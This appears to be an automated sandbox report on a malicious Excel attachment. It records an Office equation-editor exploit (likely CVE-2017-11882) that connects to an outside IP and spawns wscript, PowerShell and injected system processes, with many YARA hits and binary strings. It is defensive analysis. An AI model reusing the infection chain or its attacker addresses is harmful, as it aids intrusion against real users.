Windows Analysis Report
PO.78NO9.xls

Machine Learning detection for sample

Source: Yara match	File source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: PO.78NO9.xls

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_009340B9 CryptDecodeObject,LocalAlloc,CryptDecodeObject,LocalFree,GetLastError,	27_2_009340B9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_009279B8 CryptMsgOpenToDecode,GetLastError,GetLastError,GetLastError,CryptMsgUpdate,GetLastError,GetLastError,GetLastError,CertOpenStore,CryptMsgClose,	27_2_009279B8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_009269BE memset,CryptSignMessage,CryptSignMessage,GetLastError,GetLastError,GetLastError,LocalAlloc,CryptSignMessage,GetLastError,GetLastError,GetLastError,LocalFree,CertFreeCertificateChain,	27_2_009269BE
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00927135 CryptVerifyDetachedMessageSignature,GetLastError,GetLastError,GetLastError,GetLastError,CertFreeCertificateContext,CertFreeCertificateChain,CertCloseStore,	27_2_00927135
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00933AD1 CryptProtectData,LocalAlloc,memcpy,LocalFree,	27_2_00933AD1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0091D3DF CryptBinaryToStringW,LocalAlloc,CryptBinaryToStringW,LocalFree,	27_2_0091D3DF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00933C77 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	27_2_00933C77
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00933DD8 CryptBinaryToStringW,LocalAlloc,CryptBinaryToStringW,LocalFree,	27_2_00933DD8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_009135FC memset,CryptUIDlgViewCertificateW,GetLastError,	27_2_009135FC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0091D561 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree,	27_2_0091D561
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00933F45 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree,	27_2_00933F45

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 38.240.41.28 Port: 80

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe

Source: ~WRF{71025B50-9EA6-4B02-92C0-2B9E7555DC6C}.tmp.4.dr	Stream path '_1789768840/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{71025B50-9EA6-4B02-92C0-2B9E7555DC6C}.tmp.4.dr	Stream path '_1789768844/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49164 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49173 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Document exploit detected (process start blacklist hit)

Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49168 version: TLS 1.2

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 0000000F.00000002.480635690.00000000023D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.479528162.0000000000299000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: aspnet_regbrowsers.exe, aspnet_regbrowsers.exe, 00000016.00000002.512818584.00000000009E0000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 0000001B.00000002.637891163.00000000021D0000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 0000001B.00000003.511016346.0000000001EE0000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 0000001B.00000003.512113443.0000000002040000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 0000001B.00000002.637891163.0000000002350000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: aspnet_regbrowsers.pdb source: explorer.exe, 00000017.00000002.639143250.000000000878F000.00000004.80000000.00040000.00000000.sdmp, niLILOT.exe, 00000019.00000000.488929503.0000000000332000.00000020.00000001.01000000.0000000A.sdmp, mstsc.exe, 0000001B.00000002.638080396.00000000026CF000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 0000001B.00000002.637568604.000000000037D000.00000004.00000020.00020000.00000000.sdmp, niLILOT.exe.17.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mstsc.pdb source: aspnet_regbrowsers.exe, 00000016.00000002.512368653.00000000008A0000.00000040.10000000.00040000.00000000.sdmp, mstsc.exe, mstsc.exe, 0000001B.00000002.637776307.00000000008D0000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BKsn.pdbSHA256z source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 0000000F.00000002.480635690.00000000023D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.479528162.0000000000299000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.pdb source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BKsn.pdb source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
